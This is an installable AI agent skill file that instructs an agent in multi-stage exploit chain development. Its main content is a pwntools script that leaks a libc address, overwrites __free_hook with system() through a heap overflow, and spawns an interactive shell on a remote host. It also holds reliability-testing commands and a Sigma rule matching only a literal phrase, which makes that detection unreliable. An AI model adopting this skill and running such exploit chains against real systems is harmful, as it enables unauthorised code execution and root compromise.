Agent skill

performing-exploit-chain-development

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Install this agent skill to your Project

npx add-skill https://github.com/majiayu000/claude-skill-registry/tree/main/skills/other/other/performing-exploit-chain-development

SKILL.md


name: performing-exploit-chain-development description: >- Develop multi-stage exploit chains that combine individual vulnerability primitives into full attack paths from initial access through privilege escalation to objective completion. domain: cybersecurity subdomain: exploit-development tags:

  • exploit-chain
  • multi-stage
  • pivoting
  • sandbox-escape
  • rop-chain version: "1.0" author: defconxt license: AGPL-3.0 metadata: mitre-attack: ["T1190", "T1068", "T1203", "T1055"] frameworks: ["MITRE ATT&CK", "Metasploit"] tools: ["python3", "pwntools", "msfconsole", "gdb"]

Performing Exploit Chain Development

Overview

Exploit chains combine multiple vulnerability primitives — information leaks, memory corruption, logic bugs — into complete attack sequences. Each stage provides the primitive needed by the next: leak defeats ASLR, corruption gives write, write achieves execution, execution escapes sandbox.

Prerequisites

Tool / Requirement Details
python3 Security tooling
pwntools Security tooling
msfconsole Security tooling
gdb with pwndbg Security tooling
Individual vulnerability primitives identified and validated Environment requirement
Target environment architecture documented Environment requirement
Isolated lab replicating target configuration Environment requirement

Workflow

Step 1: Primitive Inventory

Chain Architecture:
├── Stage 0: Information Leak
│   ├── Primitive: OOB read via type confusion
│   ├── Output: libc base address, heap base
│   └── Reliability: 100%
├── Stage 1: Arbitrary Write
│   ├── Primitive: Heap overflow → corrupted vtable pointer
│   ├── Input: Addresses from Stage 0
│   ├── Output: Controlled function pointer call
│   └── Reliability: 95%
├── Stage 2: Code Execution
│   ├── Primitive: ROP chain via controlled call
│   ├── Input: Write primitive from Stage 1
│   ├── Output: Shellcode execution in renderer
│   └── Reliability: 98%
└── Stage 3: Privilege Escalation
    ├── Primitive: Kernel race condition
    ├── Input: Userland code execution from Stage 2
    ├── Output: Root shell
    └── Reliability: 80%

Step 2: Chain Implementation

python
from pwn import *

context.binary = elf = ELF("./target")
libc = ELF("./libc.so.6")

def stage0_leak(p):
    """Information leak: defeat ASLR."""
    p.sendlineafter(b"> ", b"1")  # trigger OOB read
    leak = u64(p.recv(8))
    libc.address = leak - libc.symbols["__libc_start_main"]
    log.success(f"Stage 0: libc @ {hex(libc.address)}")
    return libc.address

def stage1_write(p, libc_base):
    """Arbitrary write via heap overflow."""
    target_addr = libc_base + libc.symbols["__free_hook"]
    system_addr = libc_base + libc.symbols["system"]
    payload = flat(b"A" * 64, p64(target_addr), p64(system_addr))
    p.sendlineafter(b"> ", b"2")
    p.send(payload)
    log.success(f"Stage 1: __free_hook -> system()")

def stage2_execute(p):
    """Trigger code execution via corrupted hook."""
    p.sendlineafter(b"> ", b"/bin/sh\x00")
    log.success("Stage 2: Shell triggered")
    p.interactive()

p = remote("target.lab", 9999)
libc_base = stage0_leak(p)
stage1_write(p, libc_base)
stage2_execute(p)

Step 3: Chain Reliability Testing

bash
# Test full chain reliability
node scripts/agent.js test-chain --exploit chain.py --target target.lab \
  --port 9999 --runs 100

# Test individual stages in isolation
node scripts/agent.js test-stage --exploit chain.py --stage 0 --runs 100
node scripts/agent.js test-stage --exploit chain.py --stage 1 --runs 100

Step 4: Chain Optimization

bash
# Identify reliability bottleneck
node scripts/agent.js analyze-chain --exploit chain.py --results chain_results.json

# Timing analysis for race conditions
node scripts/agent.js timing --exploit chain.py --stage 3 --samples 1000

Detection

yaml
title: Exploit Chain Development Detection
id: c131f54f-35bf-4753-a09a-878da2b6194a
status: experimental
description: Detects suspicious activity related to performing exploit chain development techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*exploit*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1068
  - attack.t1203
  - attack.t1055
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures

Detection Opportunities

Indicator Source Detection Logic
Exploit Chain Development Detection windows/process_creation Sigma rule (critical)
ATT&CK Coverage MITRE ATT&CK T1190, T1068, T1203, T1055

Verification

  • Each chain stage validated independently (>95% reliability)
  • Full chain tested end-to-end (>80% reliability target)
  • Failure modes documented with recovery strategies
  • Chain timing constraints identified and optimized
  • Detection signatures cover each chain stage

References

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